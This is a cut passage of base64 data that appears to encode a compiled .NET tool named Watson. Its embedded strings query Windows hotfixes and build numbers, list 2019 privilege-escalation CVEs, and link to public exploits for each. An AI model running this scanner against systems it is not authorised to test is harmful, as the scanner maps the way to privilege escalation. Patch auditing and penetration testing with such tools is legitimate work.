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XA4ABewDXAwMCewDXAyMCewDXA0MCewDXAx8ASgC+ANQA8wA0AUEBfwEFAAEAAACUBOwCAABbBvACAABAAvUCAgAJAAMAAgAKAAUAAgALAAcAAQAMAAcAJABwAIAAxwDiAASAAAABAAAAAAAAAAAAAAAAAPwEAAAEAAAAAAAAAAAAAACNAWcBAAAAAAQAAAAAAAAAAAAAAJYBsgYAAAAABAAAAAAAAAAAAAAAjQF0AgAAAAARAAMAEgADACcARQApAEUANwBFADkARQBjAHABZQBwAQAAAENWRV8yMDE5XzExMzAAPD5jX19EaXNwbGF5Q2xhc3MxXzAAPD45X18zXzAAPFNob3dSZXN1bHRzPmJfXzNfMAA8U2V0QXNWdWxuZXJhYmxlPmJfXzAAQ1ZFXzIwMTlfMDg0MQA8PjlfXzNfMQA8U2hvd1Jlc3VsdHM+Yl9fM18xAElFbnVtZXJhYmxlYDEASUVudW1lcmF0b3JgMQBMaXN0YDEASW50MzIAPD45X18zXzIAPFNob3dSZXN1bHRzPmJfXzNfMgBGdW5jYDIAQ1ZFXzIwMTlfMTI1MwBDVkVfMjAxOV8xMDY0AENWRV8yMDE5XzE0MDUAQ1ZFXzIwMTlfMTMxNQBDVkVfMjAxOV8xMzg1AENWRV8yMDE5XzA4MzYAQ1ZFXzIwMTlfMTM4OAA8PjkAPE1vZHVsZT4APFByaXZhdGVJbXBsZW1lbnRhdGlvbkRldGFpbHM+AFN5c3RlbS5JTwBtc2NvcmxpYgA8PmMAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAV2F0c29uLk1zcmMAQWRkAGlkADxWdWxuZXJhYmxlPmtfX0JhY2tpbmdGaWVsZAA8SWRlbnRpZmljYXRpb24+a19fQmFja2luZ0ZpZWxkADxLbm93bkV4cGxvaXRzPmtfX0JhY2tpbmdGaWVsZABnZXRfTWVzc2FnZQBBZGRSYW5nZQBFbnVtZXJhYmxlAGdldF9WdWxuZXJhYmxlAHNldF9WdWxuZXJhYmxlAFNldEFzVnVsbmVyYWJsZQBJRGlzcG9zYWJsZQBDb25zb2xlAG5hbWUAV3JpdGVMaW5lAFdoZXJlAFN5c3RlbS5Db3JlAERpc3Bvc2UAUG9wdWxhdGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAdmFsdWUAUmVtb3ZlAFdhdHNvbi5leGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUb1N0cmluZwBDb21wdXRlU3RyaW5nSGFzaABnZXRfTGVuZ3RoAFdtaQBDaGVjawBQcm9ncmFtAGdldF9JdGVtAFN5c3RlbQBNYWluAGdldF9JZGVudGlmaWNhdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBNYW5hZ2VtZW50T2JqZWN0Q29sbGVjdGlvbgBWdWxuZXJhYmlsaXR5Q29sbGVjdGlvbgBNYW5hZ2VtZW50RXhjZXB0aW9uAFdhdHNvbgBJbmZvAFByaW50TG9nbwBTeXN0ZW0uTGlucQBHZXRCdWlsZE51bWJlcgBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIAVGV4dFdyaXRlcgBnZXRfRXJyb3IASUVudW1lcmF0b3IATWFuYWdlbWVudE9iamVjdEVudW1lcmF0b3IAR2V0RW51bWVyYXRvcgAuY3RvcgAuY2N0b3IAR2V0SW5zdGFsbGVkS0JzAGluc3RhbGxlZEtCcwBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAX3Z1bG5lcmFiaWxpdGllcwBhcmdzAENvbnRhaW5zAFN5c3RlbS5Db2xsZWN0aW9ucwBnZXRfQ2hhcnMAZ2V0X0tub3duRXhwbG9pdHMAZXhwbG9pdHMAU2hvd1Jlc3VsdHMATWFuYWdlbWVudEJhc2VPYmplY3QATWFuYWdlbWVudE9iamVjdABJbnRlcnNlY3QAR2V0AFN5c3RlbS5NYW5hZ2VtZW50AGdldF9DdXJyZW50AENvdW50AEZpcnN0AE1vdmVOZXh0AEFueQBvcF9FcXVhbGl0eQBWdWxuZXJhYmlsaXR5AElzTnVsbE9yRW1wdHkAAAAAAEkgACAAXwBfACAAIAAgACAAXwBfACAAIAAgACAAIAAgAF8AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAASSAALwAgAC8AIAAvAFwAIABcACAAXABfAF8AIABfAHwAIAB8AF8AIABfAF8AXwAgACAAXwBfAF8AIAAgAF8AIABfAF8AIAAgAABJIABcACAAXAAvACAAIABcAC8AIAAvACAAXwBgACAAfAAgAF8AXwAvACAAXwBfAHwALwAgAF8AIABcAHwAIAAnAF8AIABcACAAAUkgACAAXAAgACAALwBcACAAIAAvACAAKABfAHwAIAB8ACAAfABfAFwAXwBfACAAXAAgACgAXwApACAAfAAgAHwAIAB8ACAAfAAASSAAIAAgAFwALwAgACAAXAAvACAAXABfAF8ALABfAHwAXABfAF8AfABfAF8AXwAvAFwAXwBfAF8ALwB8AF8AfAAgAHwAXwB8AABHIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAABHIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdgAyAC4AMAAgACAAIAAgAABDIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABAAF8AUgBhAHMAdABhAE0AbwB1AHMAZQANAAoAACsgAFsAIQBdACAAewAwAH0AIAA6ACAAVgBVAEwATgBFAFIAQQBCAEwARQAAEyAAIABbAD4AXQAgAHsAMAB9AABrIABbACoAXQAgAEYAaQBuAGkAcwBoAGUAZAAuACAARgBvAHUAbgBkACAAewAwAH0AIABwAG8AdABlAG4AdABpAGEAbAAgAHYAdQBsAG4AZQByAGEAYgBpAGwAaQB0AGkAZQBzAC4ADQAKAABTIABbACoAXQAgAEYAaQBuAGkAcwBoAGUAZAAuACAARgBvAHUAbgBkACAAMAAgAHYAdQBsAG4AZQByAGEAYgBpAGwAaQB0AGkAZQBzAC4ADQAKAAAbQwBWAEUALQAyADAAMQA5AC0AMAA4ADMANgABS2gAdAB0AHAAcwA6AC8ALwBlAHgAcABsAG8AaQB0AC0AZABiAC4AYwBvAG0ALwBlAHgAcABsAG8AaQB0AHMALwA0ADYANwAxADgAAYEraAB0AHQAcABzADoALwAvAGQAZQBjAG8AZABlAHIALgBjAGwAbwB1AGQALwAyADAAMQA5AC8AMAA0AC8AMgA5AC8AYwBvAG0AYgBpAG4AaQBnAC0AbAB1AGEAZgB2AC0AcABvAHMAdABsAHUAYQBmAHYAcABvAHMAdAByAGUAYQBkAHcAcgBpAHQAZQAtAHIAYQBjAGUALQBjAG8AbgBkAGkAdABpAG8AbgAtAHAAZQAtAHcAaQB0AGgALQBkAGkAYQBnAGgAdQBiAC0AYwBvAGwAbABlAGMAdABvAHIALQBlAHgAcABsAG8AaQB0AC0AZgByAG8AbQAtAHMAdABhAG4AZABhAHIAZAAtAHUAcwBlAHIALQB0AG8ALQBzAHkAcwB0AGUAbQAvAAEbQwBWAEUALQAyADAAMQA5AC0AMAA4ADQAMQABVWgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcgBvAGcAdQBlAC0AawBkAGMALwBDAFYARQAtADIAMAAxADkALQAwADgANAAxAAFTaAB0AHQAcABzADoALwAvAHIAYQBzAHQAYQBtAG8AdQBzAGUALgBtAGUALwB0AGEAZwBzAC8AYwB2AGUALQAyADAAMQA5AC0AMAA4ADQAMQAvAAEbQwBWAEUALQAyADAAMQA5AC0AMQAwADYANAABX2gAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHIAeQB0AGgAbQBzAHQAaQBjAGsALgBuAGUAdAAvAHAAbwBzAHQAcwAvAGMAdgBlAC0AMgAwADEAOQAtADEAMAA2ADQALwABG0MAVgBFAC0AMgAwADEAOQAtADEAMQAzADAAAV1oAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAFMAMwBjAHUAcgAzAFQAaAAxAHMAUwBoADEAdAAvAFMAaABhAHIAcABCAHkAZQBCAGUAYQByAAAbQwBWAEUALQAyADAAMQA5AC0AMQAyADUAMwABV2gAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcABhAGQAbwB2AGEAaAA0AGMAawAvAEMAVgBFAC0AMgAwADEAOQAtADEAMgA1ADMAARtDAFYARQAtADIAMAAxADkALQAxADMAMQA1AAGAq2gAdAB0AHAAcwA6AC8ALwBvAGYAZgBzAGUAYwAuAGEAbABtAG8AbgBkAC4AYwBvAG4AcwB1AGwAdABpAG4AZwAvAHcAaQBuAGQAbwB3AHMALQBlAHIAcgBvAHIALQByAGUAcABvAHIAdABpAG4AZwAtAGEAcgBiAGkAdAByAGEAcgB5AC0AZgBpAGwAZQAtAG0AbwB2AGUALQBlAG8AcAAuAGgAdABtAGwAARtDAFYARQAtADIAMAAxADkALQAxADMAOAA1AAFXaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBvAHUAdAB1AGIAZQAuAGMAbwBtAC8AdwBhAHQAYwBoAD8AdgA9AEsANgBnAEgAbgByAC0AVgBrAEEAZwABG0MAVgBFAC0AMgAwADEAOQAtADEAMwA4ADgAAVFoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGoAYQBzADUAMAAyAG4ALwBDAFYARQAtADIAMAAxADkALQAxADMAOAA4AAEbQwBWAEUALQAyADAAMQA5AC0AMQA0ADAANQABgZFoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBuAGMAYwBnAHIAbwB1AHAALgB0AHIAdQBzAHQALwB1AGsALwBhAGIAbwB1AHQALQB1AHMALwBuAGUAdwBzAHIAbwBvAG0ALQBhAG4AZAAtAGUAdgBlAG4AdABzAC8AYgBsAG8AZwBzAC8AMgAwADEAOQAvAG4AbwB2AGUAbQBiAGUAcgAvAGMAdgBlAC0AMgAwADEAOQAtADEANAAwADUALQBhAG4AZAAtAGMAdgBlAC0AMgAwADEAOQAtADEAMwAyADIALQBlAGwAZQB2AGEAdABpAG8AbgAtAHQAbwAtAHMAeQBzAHQAZQBtAC0AdgBpAGEALQB0AGgAZQAtAHUAcABuAHAALQBkAGUAdgBpAGMAZQAtAGgAbwBzAHQALQBzAGUAcgB2AGkAYwBlAC0AYQBuAGQALQB0AGgAZQAtAHUAcABkAGEAdABlAC0AbwByAGMAaABlAHMAdAByAGEAdABvAHIALQBzAGUAcgB2AGkAYwBlAC8AAQsxADAAMgA0ADAAAAsxADAANQA4ADYAAAsxADQAMwA5ADMAAAsxADUAMAA2ADMAAAsxADYAMgA5ADkAAAsxADcAMQAzADQAAAsxADcANwA2ADMAAAsxADgAMwA2ADIAAAsxADgAMwA2ADMAADMgAFsAKgBdACAATwBTACAAQgB1AGkAbABkACAATgB1AG0AYgBlAHIAOgAgAHsAMAB9AABJIABbACEAXQAgAFcAaQBuAGQAbwB3AHMAIAB2AGUAcgBzAGkAbwBuACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAANAAoAAEcgAFsAKgBdACAARQBuAHUAbQBlAHIAYQB0AGkAbgBnACAAaQBuAHMAdABhAGwAbABlAGQAIABLAEIAcwAuAC4ALgANAAoAABVyAG8AbwB0AFwAYwBpAG0AdgAyAABdUwBFAEwARQBDAFQAIABIAG8AdABGAGkAeABJAEQAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AUQB1AGkAYwBrAEYAaQB4AEUAbgBnAGkAbgBlAGUAcgBpAG4AZwAAEUgAbwB0AEYAaQB4AEkARAAAESAAWwAhAF0AIAB7ADAAfQAAW1MARQBMAEUAQwBUACAAQgB1AGkAbABkAE4AdQBtAGIAZQByACAARgBSAE8ATQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtAAAXQgB1AGkAbABkAE4AdQBtAGIAZQByAAAPNAA1ADEANgAwADYAOAAADzQANQAxADYAMAA1ADkAAA80ADUAMgAyADAAMQAxAAAPNAA1ADIAMAAwADEAMAAADzQANQAyADQAMQA1ADEAAA80ADUAMgA1ADIANAA1AAAPNAA1ADMAMAA3ADEAMQAADzQANQAxADYAMAA2ADYAAA80ADUAMQA2ADAANwAxAAAPNAA1ADIAMgAwADEAMgAADzQANQAyADAAMAAwADQAAA80ADUAMgA0ADEANQAwAAAPNAA1ADIANQAyADQAMQAADzQANQAzADAANwAxADQAAA80ADUAMQA2ADAANQA4AAAPNAA1ADEANgAwADQANQAADzQANQAyADIAMAAxADQAAA80ADUAMgAwADAAMAA4AAAPNAA1ADIANAAxADQAOQAADzQANQAyADUAMgAzADcAAA80ADUAMwAwADcAMQA3AAAPNAA1ADEAMgA1ADcAOAAADzQANQAxADYAMAA3ADcAAA80ADUAMgAyADAAMQA1AAAPNAA1ADEAOQAzADMAOAAADzQANQAyADQAMQA0ADgAAA80ADUAMgAzADIAMAA1AAAPNAA1ADMAMAA3ADEANQAADzQANQAxADUAMwA4ADQAAA80ADUAMQA3ADIAMQAxAAAPNAA1ADIAMgAwADEANgAADzQANQAxADcAMwA4ADkAAA80ADUAMgA0ADEANAA3AAAPNAA1ADIANAA1ADcAMAAADzQANQAzADAANgA4ADQAAA80ADUAMgA1ADIAMwAyAAAPNAA1ADMAMAA2ADgAMQAADzQANQAyADUAMgAzADYAAA80ADUAMwAwADYAOAA5AAAPNAA1ADIAMAAwADEAMQAADzQANQAxADkAOQA5ADgAAA80ADUAMQA5ADkANwA5AAAPNAA1ADIAMAAwADAANgAADzQANQAxADkAOQA3ADgAAA80ADUAMgAwADAANgAyAAAPNAA1ADIAMgAzADUANQAADzQANAA5ADMANAA3ADUAAA80ADQAOQA4ADMANwA1AAAPNAA0ADkAOQAxADUANAAADzQANQAwADUAMAA1ADEAAA80ADUAMAAzADIAOQAxAAAPNAA1ADAANwA0ADUAOAAADzQANQAxADIANAA5ADcAAA80ADUAMQA3ADIANwA2AAAPNAA1ADEANgAwADcAMAAADzQANQAyADIAMAAwADkAAA80ADUAMgA0ADEANQAzAAAPNAA0ADkAMwA0ADcAMAAADzQANAA5ADMANAA3ADMAAA80ADQAOQA5ADQAMQA4AAAPNAA0ADkANAA0ADQAMAAADzQANAA5ADkAMQA3ADcAAA80ADUAMAA1ADAANQAyAAAPNAA1ADAAMwAyADYANwAADzQANQAwADMAMgA5ADQAAA80ADUAMAA5ADQANwA1AAAPNAA1ADAANwA0ADUAOQAADzQANQAwADcANAA2ADAAAA80ADUAMQAyADQAOQA1AAAPNAA1ADEAMgA1ADEANwAADzQANQAxADYAMAA0ADQAAA80ADUAMQA2ADAANgAxAAAPNAA1ADIAMgAwADEAMAAADzQANQAyADQAMQA1ADIAAA80ADQAOQAzADQANwA0AAAPNAA0ADkAMwA0ADMANgAADzQANAA5ADkAMQA2ADIAAA80ADQAOQA5ADEAOAAxAAAPNAA1ADAAMgAxADEAMgAADzQANQAwADUAMAA1